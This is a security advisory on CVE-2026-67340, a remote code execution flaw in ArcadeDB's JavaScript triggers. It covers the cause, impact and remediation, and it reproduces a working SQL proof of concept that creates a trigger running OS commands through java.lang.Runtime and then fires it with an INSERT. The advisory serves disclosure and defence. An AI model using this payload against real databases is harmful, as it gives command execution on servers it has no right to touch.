CVE-2026-67340: ArcadeDB JavaScript trigger RCE (CVSS 9.8)
ArcadeDB, a multi-model database, has critical RCE CVE-2026-67340 (CVSSv3.1 9.8). Any authenticated user with UPDATE_SCHEMA can create a JavaScript trigger that calls Java.type(java.lang.Runtime) and run OS commands as the server process. Fixed in 26.7.2.
Incident overview
On 16 Jul 2026 ArcadeData published GitHub Security Advisory GHSA-x9f9-r4m8-9xc2 for ArcadeDB before 26.7.2. NVD assigned CVE-2026-67340 on 2026-08-01. CISA-ADP catalogued it on 2026-08-03. VulnCheck scores CVSSv3.1 9.8 (Critical) and CVSSv4.0 9.3 (Critical). Rare unauthenticated-grade RCE quality for a database estate.
ArcadeDB is a multi-model NoSQL database (graph, document, key-value, tree) used for rapid prototypes, realtime recs, edge compute, and knowledge graphs. The bug sits in ScriptTriggerExecutor inside `arcadedb-engine`.
Technical details
ArcadeDB lets you attach script triggers on tables. Default engine is GraalVM JavaScript. To let scripts call some host Java APIs, ScriptTriggerExecutor puts `java.lang.*`, `java.util.*`, `java.time.*`, and `java.math.*` in `allowedPackages` and sets host access to `HostAccess.ALL`.
`java.lang.Runtime.getRuntime().exec(...)` remains callable. Construction path:
- Create a JavaScript trigger that uses `Java.type("java.lang.Runtime")` to load the host JVM `Runtime` class.
- Call `Runtime.getRuntime().exec(["id"])` or `new ProcessBuilder(...).start()` to run arbitrary OS commands.
- INSERT a row into that table; the trigger runs as the server process.
The intended reflection blacklist and `allowCreateProcess(false)` do not stop this. The blacklist does not block `Java.type` host-class lookup. `allowCreateProcess(false)` only gates GraalVM's own process API, not host `java.lang.Runtime`.
Privilege bar is too low: creating a trigger needs only `UPDATE_SCHEMA` (schema admin), strictly below security admin. In typical multi-tenant setups any account that can alter table schema can plant a backdoor.
SecureLayer7 published a PoC: two SQL statements to run `id` and read arbitrary files on the server:
-- Step 1: create backdoor trigger (needs UPDATE_SCHEMA)
CREATE TRIGGER rce_trigger ON Document AFTER INSERT
EXECUTE JAVASCRIPT 'var RT = Java.type("java.lang.Runtime");
var p = RT.getRuntime().exec(["id"]);
var is = p.getInputStream();
var sc = Java.type("java.util.Scanner");
var out = new sc(is).useDelimiter("\A").next();
out;'
-- Step 2: insert a record to fire the trigger
INSERT INTO Document SET x = 1
Impact
- Severity: CVE-2026-67340 is NVD CVSSv3.1 9.8 (Critical), CVSSv4.0 9.3, CWE-94 (Code Injection). CISA-ADP added it to SSVC as automatable with total technical impact.
- Exploit complexity: low. Needs UPDATE_SCHEMA, often default on ordinary DBA accounts and unavoidable in multi-tenant SaaS.
- Real-world harm: developer test environments, online recs, edge backends. Unlike classic SQLi this crosses into the host JVM and yields a server shell. Same disclosure also covers IMPORT DATABASE SSRF, missing auth on BACKUP/EXPORT DATABASE, and request-body size-limit bypass.
Remediation
- Upgrade immediately to arcadedb-engine 26.7.2 or later. The patch drops `java.lang.*` from `allowedPackages`, leaving `java.util.*`, `java.time.*`, `java.math.*`. Those packages have no process primitives.
- If you keep triggers, raise create from `UPDATE_SCHEMA` to `UPDATE_SECURITY`. Only security admins create them.
- Change `HostAccess.ALL` to `HostAccess.EXPLICIT`. Expose only APIs marked `@HostAccess.Export`. Do not allow whole packages.
- Inventory existing triggers. Audit and regenerate any script using `Java.type`, `java.lang.Runtime`, or `ProcessBuilder`.
- Network isolation: bind ArcadeDB to trusted Ethernet/VPN only; no public internet. Enable access logs and alert on anomalous trigger-create and insert requests.
References
- NVD CVE-2026-67340
- ArcadeData GitHub Advisory GHSA-x9f9-r4m8-9xc2
- ArcadeDB 26.7.2 release notes
- SecureLayer7 PoC and analysis
- VulnCheck assessment report